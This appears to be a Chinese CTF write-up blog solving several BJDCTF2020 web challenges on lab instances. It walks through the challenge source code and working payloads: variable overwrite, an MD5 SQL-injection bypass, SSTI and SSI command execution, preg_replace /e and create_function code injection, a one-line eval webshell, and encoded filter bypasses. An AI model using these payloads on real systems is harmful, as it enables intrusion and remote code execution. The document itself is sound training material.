[BJDCTF2020]Mark loves cat 进去之后是一个网页,怀疑是git
泄露,因为挺多这样拿源码的而且题目是个cat
1 python GitHack.py http://a2ea6e9a-3c74-4806-be7c-911267a2c810.node5.buuoj.cn:81/.git
flag.php
是一个普通的开文件的没啥用,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
一个变量覆盖吧,exit(flag)
就可以得到flag
但是深究其特性,我们还是起环境来实验吧
1 2 3 4 5 6 7 8 <?php foreach ($_POST as $x => $y ){ $$x = $y ; } var_dump ($$x );?>
1 2 3 4 5 foreach ($_GET as $x => $y ){ $$x = $$y ; }
1 2 3 4 if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); }
欧克那么上payload
1 2 3 4 5 ?handsome=flag&flag=a&a=flag ?yds=flag ?is=flag&flag=flag
[BJDCTF2020]Easy MD5 抓包发现hint
1 hint: select * from 'admin' where password=md5($pass,true)
实验发现
1 2 3 4 5 select * from 'admin' where password= '' or '1abcdefg' select * from 'admin' where password= '' or '0abcdefg' select * from 'admin' where password= '' or '1' select * from 'admin' where password= '' or '2' select * from 'admin' where password= '' or '0'
那么这里有个很经典的姿势就是ffifdyop
绕过
这里也引入一个爆破脚本
1 2 3 4 5 6 7 <?php for ($i = 0 ;;) { for ($c = 0 ; $c < 1000000 ; $c ++, $i ++) if (stripos (md5 ($i , true ), '\'or\'' ) !== false ) echo "\nmd5($i ) = " . md5 ($i , true ) . "\n" ; echo "." ; }
绕过这层之后进入下一层
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ])){ echo $flag ; }
到这里我直接传参竟然过不去了,后来发现是url
的问题
1 2 3 http://55379fcc-71e8-4ff1-9e37-ec8c41bfbd3e.node5.buuoj.cn:81/levell14.php POST: param1[]=1¶m2[]=2
[BJDCTF2020]The mystery of ip 进来之后发现IP
可控
然后就慢慢试就可以了,最后发现是ssti
尝试了一下jinja
的RCE,发现把.
过滤了
然后就直接执行了,没想到成功了,但是有点不适应的是,当前目录有个假flag
1 2 3 X-Forwarded-For:{{system("ls /")}} X-Forwarded-For:{{system("nl /f*")}}
[BJDCTF2020]ZJCTF,不过如此 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
如果用php://input
协议的话确实是需要bp发包了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1 Host: 9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81 Content-Length: 14 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close I have a dream
但是如果用data://
协议的话
直接传这个就可以了
1 ?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
这里是有一个洞的,正则替换函数原型
1 2 3 mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 漏洞条件: /e修正符修饰下,preg_replace中的第二个参数将当作php代码执行。
实验一下,直接借用师傅的代码了哦
1 2 3 4 <?php if (isset ($_GET ['t' ])) { echo preg_replace ('/test/' , $_GET ['t' ], 'Just test' ); }
1 2 3 4 <?php if (isset ($_GET ['t' ])) { echo preg_replace ('/test/e' , $_GET ['t' ], 'Just test' ); }
这个版本比较低,所以我就没浮现了,本题是PHP5.6.40
那么回到题目
strtolower
函数可以将大写转小写
1 'strtolower("\\1")',结果是,任何匹配正则表达式的捕获组内容都会被转换为小写。
那么我们绕过
正则中的参数我们就得填写为.*
或者\S+
.
匹配除换行符之外的任意字符;
\S
匹配任何非空白字符。等价于 [^ \f\n\r\t\v]
;
+
匹配一次或多次,即{1,}
。
但是GET方式传的字符串,php里会把参数名里的特殊字符转为下划线_
那么.
会被替换成_
1 2 3 http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=echo `tac /f*`; http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S%2b=${getFlag()}&cmd=echo `tac /f*`;
这里有部分绕过,所以我们可以写🐎,但是不带引号即可
1 2 3 4 http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S%2b=${eval($_POST[a])} POST: a=echo `ls /`;
[BJDCTF2020]EzPHP 终于不是phar
反序列化了
1 2 3 <html> <!-- Here is the real page =w= --> <!-- GFXEIM3YFZYGQ4A= -->
base32/1nD3x.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file (__FILE__ );error_reporting (0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?>
还是挺长的
1 2 3 4 5 6 if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); }
if($_SERVER)
不对payload
进行url
编码但是普通的传参会,所以直接编码即可绕过
1 2 3 4 5 6 if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
第二层换行符(%0a)就可以绕过了
1 2 3 4 5 6 if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } }
第三层$_REQUEST
特性:变量post
值会优先于get
,所以post
一个数字就绕过了
1 2 if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );
这个用data协议绕过即可
1 data://text/plain,debu_debu_aqua
1 2 3 4 5 6 if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
这一层数组绕过就行了,很常见
1 2 3 4 5 6 7 if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?>
最后一层create_function()
代码注入
1 2 3 http://bf3b327c-71aa-4d54-8368-fac17158dfbb.node5.buuoj.cn:81/1nD3x.php?file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=1&passwd[]=2 debu=1&file=1
实际传参还是要编码的,但是非常傻逼的就是,必须把file放在前面,md不知道怎么检测的
1 2 3 ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2 debu=1&file=1
extract($_GET["flag"]);
我们进行覆盖code
和ag
1 2 flag[code]=create_function&flag[arg]=;}phpinfo();// 当然也要编码
get_defined_vars ()
返回一个关联数组,其中包含当前作用域内所有已定义的变量及其值。既然包含了flag.php
,那我们就看看
1 2 3 4 flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());// ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());// POST:debu=1&file=1
找到rea1fl4g.php
因为禁用的符号挺多的,这里我们使用require
和filter
协议来读取文件
1 2 3 4 5 6 7 require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php) 取反 ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));// POST: debu=1&file=1
真恶心啊,特别是编码哪一块,浪费很多时间
[BJDCTF2020]EasySearch 目录扫描到index.php.swp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
爆破
1 2 3 4 5 6 7 8 import hashlibfor i in range (1 ,10000000000000 ): m=hashlib.md5(str (i).encode()).hexdigest() if m[0 :6 ]=='6d0bc1' : print (i) break
之后,输入没回显,于是抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Response: HTTP/1.1 200 OK Server: openresty Date: Mon, 12 Aug 2024 07:31:59 GMT Content-Type: text/html;charset=utf-8 Content-Length: 568 Connection: close X-Powered-By: PHP/7.1.27 Url_Is_Here: public/99f40cea251233eb066306b560786af165289a0d.shtml Vary: Accept-Encoding Cache-Control: no-cache <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Login</title> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta name="viewport" content="width=device-width"> <link href="public/css/base.css" rel="stylesheet" type="text/css"> <link href="public/css/login.css" rel="stylesheet" type="text/css"> </head> <body><script>alert('[+] Welcome to manage system')</script>[!] Header error ... <div id="tip"></div> <div class="foot"> bjd.cn </div> </form> </div></body> </html>
进入界面之后发现IP不可控,只能看看username
后面观察是shtml
上网查了一下名为SSI注入
SSI
Web服务器为Apache和IIS(支持SSI功能的服务器)
服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
Web应用程序在返回响应的HTML页面时,嵌入用户输入
未对输入的参数值进行输入过滤
1 2 <!--#exec cmd="id"> --> 是可以执行命令的
也就是说我们在网页生成以后的shtml文件中就可以看到命令结果
看包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Request: POST /index.php HTTP/1.1 Host: 61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81 Content-Length: 52 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close username=<!--#exec cmd="ls ../" -->&password=2020666
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php HTTP/1.1 Host: 61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81 Content-Length: 55 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close username=<!--#exec cmd="tac ../f*" -->&password=2020666
[BJDCTF2020]Cookie is so stable 查看源码
1 <!-- Why not take a closer look at cookies? -->
终于翻了几个网页找到了注入点ssti
php
的ssti
还是第一次,去网上查了一下,直接套的payload
Twig
模块应该是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 request: POST /flag.php HTTP/1.1 Host: 54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81 Content-Length: 0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81/flag.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=15294df4dceeffc6c03a4f227f7f3392;user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /f*")}} Connection: close
但是为什么不能读取目录呢
本来想着读取目录的,但是过滤的确实多,弄了好一会二都没出